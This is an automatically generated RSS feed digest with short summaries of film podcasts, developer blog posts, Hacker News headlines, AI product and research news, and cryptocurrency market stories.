    What Happened With the Fall Movie Slate? Sean Fennessey and Amanda Dobbins team up with Van Lathan to commiserate over the surprisingly bland fall lineup, wondering why both critics and audiences seem to be giving everything the cold shoulder this season. They kick things off by dissecting Edgar Wright’s new Glen Powell thriller, The Running Man—a movie they admit is a bit of a narrative mess but can’t deny boasts some seriously slick action set pieces. Then it’s on to Now You See Me: Now You Don’t, where Jesse Eisenberg and Dave Franco return for more heists, and Rosamund Pike steals the show as an evil diamond heiress. The crew weighs in on the film’s legacy-sequel charms and whether it can still turn a profit. Finally, Wright himself drops by to spill the tea on crafting blockbuster action sequences, the casting saga that landed Powell in the lead, and what the future holds for big-studio filmmaking. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less takes the usual CinemaSins approach, poking fun at the never-ending dino-resurrections and on-screen blunders in record time. Along the way, they remind viewers to check out their main site, hit up their Linktree for the latest updates, weigh in on a quick poll, and consider supporting the channel on Patreon. Behind the scenes, the video credits a team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) complete with social links. Fans are also invited to join the action on Discord, Reddit, Instagram and TikTok—or even pick up Jeremy’s new book. Watch on YouTube  ( 6 min )
    🧩 Why Jira Admins Should Stop Testing Plugins in Production (and How to Do It Safely)
    When Jira runs smoothly, nobody notices — but when a plugin update or workflow tweak breaks something, everyone feels it. That’s where sandbox testing comes in. 🧱 What Is a Jira Sandbox? A Jira sandbox is an isolated, production-like environment where you can safely test: Plugin updates Configuration changes Workflow automations Major version upgrades It mirrors your real production setup — same version, same apps, same data model — but without the risk. 🚀 The Real Benefits of Sandbox Testing 1. Fewer Production Incidents Testing plugins in production is like performing surgery without anesthesia — technically possible, but risky. Example: 2. Higher Confidence in Plugin Compatibility Jira admins often manage 20+ Marketplace apps — automation engines, reporting tools, custom workflow vali…  ( 8 min )
    Things I Wish I Knew as a Fresher Developer on My First Project
    If you’ve just joined a company as a fresher and you’re lucky enough to get a project early, there are a few important things you should always keep in mind: Don’t hesitate to discuss your task. Don’t hesitate to ask questions. Don’t hesitate to ask for help from seniors. Stick to the ETA you commit. If you realize midway that the ETA isn’t enough, highlight it immediately. Don’t wait for the catch-up call. Document your work. Don’t be shy to talk about your work. If you’re doing great and you stay silent about it, nobody will know the effort you’re putting in. Always talk about your work. Always. If you don’t communicate, it may reflect poorly on your performance. And if you’re stuck somewhere, ask your senior in a polite way — don’t rush or panic. Seniors have more responsibilities, so your patience and clarity matter. Discuss technical things with them, take guidance, understand how they think. This will help you grow faster and understand your role and responsibilities from a senior perspective. Instead, spend the first 30 minutes understanding the requirement properly. Take a pen and paper, or open Excalidraw. Think through the flow, break the task down, understand what exactly needs to be done. Once the flow is clear, then start writing the code. Now you still have 1 hour left. Since you’ve already communicated the risk, your mind will be calmer, and your TL/RM will also be aware. Use that remaining time to push as much as possible, and if needed, take help from a senior. And lastly — don’t forget to document your work. And during catch-up calls, openly talk about your analysis, what you faced, and how you solved it. It builds trust and shows ownership.  ( 7 min )
    functools.partial
    Intro In this post, we will look at the partial function in the functools module. The functools.partial function accepts a callable, with arguments (positional and keyword), and returns a partial object that has not yet executed the callable. When this partial object is called, it then passes the arguments to the callable and returns the output. The idea is to have an object that can store even some of the arguments required by the callabel, such that it can be executed in the future. Think of it like taking the callable, with any arguments that you can pass, and then freezing it for a later point. The first use case as mentioned above is when you do not have all the arguments required by a callable, and for some reason, you need to have an object ready with whatever partial arguments yo…  ( 11 min )
    From Models to Microservices: Deploying ML in Java and .NET
    Introduction Deploying Machine Learning models in enterprise environments can be challenging. Moving from a notebook to a scalable service requires more than accuracy: you need integration, maintainability, and automation. Models work in notebooks but fail on servers. Dependencies, resources, and data evolve. No versioning for models. Manual or unmonitored scaling. Lack of automated tests. Spring Boot allows packaging an ONNX or TensorFlow model as a REST microservice. You can load the model directly and expose it via endpoints. ML.NET enables training and serving models directly in C#. ONNX allows running Python-trained models inside .NET applications. Use version control (Git or DVC) to track model and data changes. Integrate deployment pipelines with GitHub Actions or Azure DevOps. [ ] Is the model versioned and tested? [ ] Do the REST endpoints work with real data? [ ] Does deployment include monitoring? [ ] Is model update automated through CI/CD? Tags: ml, java, dotnet, microservices  ( 6 min )
    AI to Match Qualified Candidates with Job Postings
    Our current hiring process involves manually reviewing resumes from various platforms to match candidates with job descriptions. This is inefficient given the high volume of applications. I propose developing an AI workflow to automate this initial screening. The system would match candidates' experience, education, and skills against job requirements, providing hiring managers with a pre-vetted list of qualified candidates. This would streamline the hiring process significantly. Job Board: A full-stack application designed to serve both job seekers (users) and hiring managers. Content Management System: A system, such as Boltonsea, to effectively manage and organize candidate resumes. AI Engine: An integration with a large language model provider (e.g., DeepSeek, OpenAI) for intelligent f…  ( 8 min )
    React email: Por Fin Puedes Construir Emails con Componentes y Decir Adiós al Estrés del HTML.
    Hola, Devs! Si alguna vez has intentado hacer un email que se vea bien en Gmail, Outlook y, peor aún, en el modo oscuro, sabes que es un infierno de tablas anidadas y CSS inline del año 2005. Es la definición de deuda técnica. React email llega como el fix que necesitábamos: una solución de framework que te permite usar React para construir emails con componentes. Esto no es solo una librería, es un workflow completo que está reescribiendo la forma en que interactuamos con el HTML de correo. Commits Clave 1. ⚛️ Programación Declarativa para el HTML de Correo El mayor commit es la promesa de escribir HTML de correo usando la sintaxis de React. Esto significa adiós a la lucha contra las reglas arcaicas de los clientes de correo. React email utiliza una capa de abstracción para …  ( 7 min )
    Python Core Utilities
    Hello folks! 👋 Python comes with a lot of cool and helpful modules, data types, functions, which may not be very well known. In this series, we are going to see some of the lesser known built-ins and standard libraries that I came across in my time of doing Python. We will look into the details, real-life examples, nuances, internal workings, and some caveats or gotchas as well. Of course, there are still quite some that I haven’t had the chance to deal with, and some that might be too common; let’s figure out which ones to include, as we move ahead in the series. So, let’s get straight to it! 🚀  ( 6 min )
  • Open

    No Leak, No Problem – Bypassing ASLR with a ROP Chain to Gain RCE
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    USDA head says 'everyone' on SNAP will now have to reapply
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    Go's Sweet 16
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    SSL Configuration Generator
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    30 Days, 9 Cities, 1 Question: Where Did American Prosperity Go?
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    Mentra (YC W25) Is Hiring: Head of Growth to Make Smart Glasses Mainstream
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    First Microprocessor – 50th Anniversary 2020
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    Houston, We Have a Problem: Anthropic Rides an Artificial Wave – BIML
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    All Praise to the Lunch Ladies
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    Show HN: Epstein Files Organized and Searchable
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    Better pre-commit, re-engineered in Rust
    Comments  ( 2 min )
    An Italian Company Builds the First Known Propellantless Space-Propulsion System
    Comments  ( 6 min )
    A Rigorous Approach to the Algorithmic Composition of Iannis Xenakis(2009) [pdf]
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    Show HN: Chirp – Local Windows dictation with ParakeetV3 no executable required
    Comments  ( 10 min )
    Structured Outputs on the Claude Developer Platform (API)
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    Raccoons are showing early signs of domestication
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    Minisforum Stuffs Entire Arm Homelab in the MS-R1
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    AI World Clocks
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    We Uncovered a Race Condition in Aurora RDS
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    Show HN: Dumbass Business Ideas
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    Secret Boat Strike Memo Justifies Kills by Claiming Targeting Drugs, Not People
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    Norway's Wealth Tax Unchains a Capital Exodus
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    Meeting notes between Forgejo and the Dutch government via Git commits
    Comments  ( 10 min )
    I've Wanted to Play That 'Killer Shark' Arcade Game Briefly Seen in 'Jaws'
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    Germany to Ban Huawei from Future 6G Network in Sovereignty Push
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    You misunderstand what it means to be poor
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    Moving Back to a Tiling WM – XMonad
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    Manganese is Lyme disease's double-edge sword
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    US Tech Market Treemap
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    'No One Lives Forever' Turns 25 and You Still Can't Buy It Legitimately
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    The American Tradition of Trying to Address Anxiety with Parks
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    Childhood Friends, Not Moms, Shape Attachment Styles Most
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  • Open

    Google’s new AI training method helps small models tackle complex reasoning
    Researchers at Google Cloud and UCLA have proposed a new reinforcement learning framework that significantly improves the ability of language models to learn very challenging multi-step reasoning tasks. Supervised Reinforcement Learning (SRL) reformulates problem-solving as a sequence of logical “actions,” providing rich learning signals during the training process. This approach enables smaller models to learn complex problems that were previously out of reach for other common training techniques. Experiments show that SRL not only excels on math reasoning benchmarks but also generalizes effectively to agentic software engineering tasks. SRL is a versatile training framework that can elevate smaller and less expensive models to higher reasoning abilities. The limits of current LLM reasoni…
    ChatGPT Group Chats are here... but not for everyone (yet)
    It was originally found in leaked code and publicized by AI influencers on X, but OpenAI has made it official: ChatGPT now offers Group Chats, allowing multiple users to join the same, single ChatGPT conversation and send messages to each other and the underlying large language model (LLM), online and via its mobile apps. Imagine adding ChatGPT as another member of your existing group chats, allowing you to text it as you would one of your friends or family members and have them respond as well, and you'll have an idea of the intriguing power and potential of this feature. However, the feature is only available as a limited pilot for now to ChatGPT users in Japan, New Zealand, South Korea, and Taiwan (all tiers, including free usage). “Group chats are just the beginning of ChatGPT becomi…
  • Open

    Bitcoin Slides Below $95K in Worst Week Since March; Analyst Sets Downside Target at $84K
    BTC has tumbled nearly 9% this week, while ETH, SOL declined even further and XRP outperformed.  ( 33 min )
    U.S. DOJ Pursues North Korea's Illicit Money Machine, Seizes More Crypto
    U.S. authorities secured several criminal convictions and gathered another $15 million in proceeds from North Korean crypto heists, the Justice Department said.  ( 33 min )
    XRP Slides 7% but ETF Launch Sets Stage for Potential Reversal Above $2.36
    Analysts caution that the market remains vulnerable to further declines, with large token movements and macroeconomic factors contributing to uncertainty.  ( 34 min )
    BlackRock’s $2.5B Tokenized Fund Gets Listed as Collateral on Binance, Expands to BNB Chain
    The $2.5 billion BUIDL fund, tokenized by Securitize, deepens its utility for institutional traders and expands to a new blockchain.
    Canary Likely to Hit Pause on ETF Filings With XRP, Eyes SEC Shift for What’s Next
    The firm’s CEO says it has ‘filed everything that falls under the generic listing standards’ as SEC approval barriers remain high.
  • Open

    How to Get Started with PocketBase: Build a Lightweight Backend in Minutes
    If you’re a developer looking for a simple, fast, and self-hosted backend, PocketBase might be exactly what you need. It’s an open-source backend written in Go that lets you set up a complete backend with database, authentication, file storage, and ...  ( 8 min )
    Harvard CS50 prof David J. Malan on why you should learn programming slowly [Podcast #197]
    Dr. David J. Malan teaches computer science at Harvard. Over the past decade, millions of people have taken his CS50 course both in person and online. He joins us to talk about: Why he still recommends learning the C programming language in 2026 Ho...  ( 4 min )
2025-11-29T03:10:24.352Z osmosfeed 1.15.1